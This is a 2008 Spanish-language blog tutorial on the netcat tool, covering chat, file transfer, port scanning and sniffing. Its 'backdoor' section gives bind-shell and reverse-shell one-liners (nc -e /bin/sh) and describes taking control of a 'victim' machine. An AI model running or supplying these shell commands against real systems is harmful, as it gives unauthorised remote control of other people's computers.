Usuario anónimo ¿Quieres tener tu propio blog?
Crear blog gratis en OboLog

NetCat

por banyut
sábado, 08 de marzo del 2008 a las 17:20
guardado en

 NetCat o tambien conocido como nc.

Permite leer y escribir datos mediante sockets TCP y UDP. Tiene multitud de utilidades, aunque no es la herramienta ideal para todas ellas. En definitiva es una herramienta a tener muy en cuenta.

Que usos puede tener:

  • Escaneador de puertos

  • Sniffer

  • Comunicacion entre dos puntos

  • Envios de correo

  • Control remoto

  • FTP

Por supuesto, hay muchas mas utilidades de las mostradas aquí y las opciones que puede llegar a manejar son muchas más de las mostradas (man netcat), este tutorial, solo pretende abrir la curiosidad por este extraordinario comando.

un chat.

En la maquina A

nc -l -p port

En la maquina B

nc ip port

Esto nos permitirá enviar mensajes escritos de una maquina a otra. Podríamos utilizar dos conexiones, por una recibiríamos y por la otra mandaríamos nuestros mensajes.


Envío de ficheros.

Receptor

nc -l port > archivo

Emisor

nc ip port < archivo

La conexión se tendrá que cerrar manualmente, ya que esta no se corta de manera automática cuando finaliza la transferencia. Este método de transferencia es lento y no muy fiable, por lo tanto se desaconseja su uso.

Como escaneador de puertos

nc -v -w2 -z ip ports

nc -v -w2 -z www.terra.es 10-80

nc -v -w2 -z 192.168.1.150 80

-v: verbose, nos da información extra

-w: segundos que ha de pasar para que deje de intentar la conexión.

-z: no enviamos ningún dato a los puertos que escuchamos.

Sniffer

nc -vv -l ip port >logSnif.txt

Control remoto. (backdoor)

Nos permite tomar el control de otro equipo.

nc -l -p 1000 -e /bin/sh


Que hace? pues simplemente se pone a la escucha en el puerto 1000 y cuando se establezca la conexión, se ejecutara la instrucción /bin/sh

-l: se pone a la escucha. si ponemos -L se restaura la escucha al finalizar la conexión.

-p: puerto

-e: programa o ejecutable que correrá si se establece una conexión.

Como conectarnos?

nc -v ip -p 1000

Establecemos la conexión con nuestra víctima, En este momento estamos en posesión de su equipo. Probad a escribir alguno de estos comandos:

  • ls, dir

  • eject

  • espeak “hello, my darling”

Como veis tenemos el control del equipo víctima Este método tiene un inconveniente, y es que la ip de la víctima en caso de ser dinámica puede cambiar, así que utilizaremos el que se llama shell inversa, o sea que serà la víctima la que nos de su shell.

Ahora sera nuestra maquina la que pongamos a la escucha:

nc -vv -l -p puerto

y la víctima tendrá que ejecutar.

nc -e /bin/sh ip port

email, pop, etc.

nc proveedor.internet 25

nc proveedor.internet 110

Relacionados con NetCat

Deja tu comentario sobre NetCat

Deja tu comentario
Necesitas tener javascript activado para poder dejar comentarios

Identifícate en OboLog, o crea tu blog gratis si aún no estás registrado.

De esta forma, además, podrás mostrar tu imagen en los comentarios y no tendrás que rellenar tus datos cada vez.

Sobre esta anotación

banyut

banyut escribió esta anotación hace 1 año. En ella habla sobre Comandos.

Aún no hay ningún comentario.

Tu podrías dejar el primero.

Temas relacionados

Login

Comentarios

Restaurar el audio en UBUNTU (Alejandro)
Al 50% del compilador me arroja el error de nuevo alguien sabe xq? o tendra alguna solucion??? ......(15 nov)
Importar en openoffice write y calc (R. A.)
Sigo sin resolver un problemita: ¿Puedo o no puedo importar una tabla en Write a Calc?  Microsoft ......(12 nov)
Restaurar el audio en UBUNTU (skater)
muchas gracias! me ayudaste aun no funcionan mis auriculares pero me funciona el sonido con mis ......(12 nov)
Traducción offline con STARDIC (mserra)
Muchísimas gracias, lo echaba de menos....(07 nov)
Python: Variables y asignaciones. (fernando)
Hola, ¿No hay un comando en el interprete de python que muestre las variables que se han definido a ......(06 nov)

Más comentados

Restaurar el audio en UBUNTU (24)
Hay veces que sin saber que es lo que hacemos exactamente, nos cargamos el audio del sistema, no se ...
Convertir Ubuntu Hardy en un Mac OSX Leopard (21)
Para transformar la versión Intrepid Ibex, tenes este otro link. He encontrado un Post en el que de ...
Convertir Ubuntu Intrepid en un Mac (Mac4Lin) (17)
En su día ya vimos un manual de como convertir Hardy en un mac, esta vez lo haremos para Intrepid, ...
Python: Las Listas (16)
Son la esencia de python, las podríamos definir como una secuencia ordenada de elementos encerrados ...
Copias de seguridad en UBUNTU (crontab, rsync, dd) (13)
Hoy abordaremos el tema de las copias de seguridad. El objetivo es montar dos tipos de copias, por ...

Suscripción

Suscríbete al Feed RSS XML

También puedes suscribirte directamente con alguno de los siguientes enlaces:

  • Suscríbete en Bloglines
  • Suscríbete en Google